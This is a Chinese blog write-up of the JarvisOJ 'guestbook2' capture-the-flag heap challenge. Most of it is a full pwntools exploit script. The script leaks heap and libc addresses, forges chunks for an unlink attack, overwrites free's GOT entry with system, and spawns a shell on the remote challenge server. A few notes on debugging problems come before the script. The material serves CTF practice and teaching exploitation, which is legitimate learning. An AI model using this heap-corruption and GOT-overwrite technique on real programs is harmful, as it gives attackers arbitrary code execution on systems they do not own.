jarvis guestbook2 / level6_x64

3 篇文章 0 订阅

与level6思路相同,只是在x64运行。和level6_x64几乎一模一样。
遇到几个问题:
1.[DEBUG] Received 0x4e bytes: "*** Error in guestbook2: realloc(): invalid pointer: 0x0000000001dcb018 ***\n"
调试了半天发现是当新块的大小与原来不一致时都会调用realloc,所以要填充的时候要仔细。

2.原本想这样泄漏libc基地址,然后symbols[‘system’]加上基地址就是服务器system地址,但后来发现本地是libc-2.19,他给的是libc.so.6,在文件里的偏移貌似不一样,所有只能用atoi函数的相对偏移。

#p.recvuntil('22222222')
#q=p.recvuntil('\x0a')
#libc_addr=u64(q[:-1].ljust(8,'\x00'))-0x3c27b8
#print(hex(libc_addr+0x3c27b8))

脚本如下:

from pwn import *
context.log_level = 'debug'
local=1
if local==1:
	p=process('guestbook2')
else:
	p=remote('pwn.jarvisoj.com',9879)


e=ELF('guestbook2')
libc=ELF('libc.so.6')

def List():
	p.recvuntil('Your choice: ')
	p.sendline('1')


def new(cont):
	p.recvuntil('Your choice: ')
	p.sendline('2')
	p.recvuntil('Length of new post: ')
	p.sendline(str(len(cont)))
	p.recvuntil('Enter your post: ')
	p.sendline(cont)

def edit(num,cont):
	p.recvuntil('Your choice: ')
	p.sendline('3')
	p.recvuntil('Post number: ')
	p.sendline(str(num))
	p.recvuntil('Length of post: ')
	p.sendline(str(len(cont)))
	p.recvuntil('Enter your post: ')
	p.sendline(cont)

def delete(num):
	p.recvuntil('Your choice: ')
	p.sendline('4')
	p.recvuntil('Post number: ')
	p.sendline(str(num))

###############泄漏堆地址
new('a'*0x80)
new('b'*0x80)
new('c'*0x80)
new('d'*0x80)
delete(0)
delete(2)
new('11111111')
new('22222222')
List()
p.recvuntil('11111111')
s=p.recvuntil('\x0a')
chunk2=u64(s[:-1].ljust(8,'\x00'))
heap_addr=chunk2-0x1940
point_chunk0=heap_addr+0x30
print hex(heap_addr)

######################清理
delete(1)
delete(2)
delete(3)

######################构造,并unlink,使原本指向chunk0的指针指向堆头
payload = p64(0x90)+p64(0x80)+p64(point_chunk0-24)+p64(point_chunk0-16) 
payload +='a'*0x60
payload += p64(0x80)+p64(0x90)
payload +='c'*0x80+p64(0x90)+p64(0x121)

edit(0,payload)
delete(1)

######################修改堆头结构从而定义自己想要的堆,定义了3个堆,
######################第一个是为了修改free的got表,第二个是为了传入‘/bin/sh‘
######################第三个是为了得到服务器libc中函数地址。
free_got_addr=e.got['free']
print hex(free_got_addr)
payload2=p64(3)+p64(1)+p64(0x8)+p64(free_got_addr)+p64(1)+p64(0x8)+p64(chunk2)+p64(1)+p64(0x8)+p64(e.got['atoi'])
payload2+='\x00'*(0x120-80)
edit(0,payload2)

##################获得服务器上system地址
p.recvuntil('Your choice: Invalid!\n')
List()
p.recvuntil('2. ')
atoi_in_server=u64(p.recvuntil('\x0a')[:-1].ljust(8,'\x00'))
system_in_server=libc.symbols['system']+atoi_in_server-libc.symbols['atoi']
#gdb.attach(proc.pidof(p)[0])

###############此时free已变为system
payload3=p64(system_in_server)
edit(0,payload3)
edit(1,"/bin/sh\x00")
delete(1)

p.interactive()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值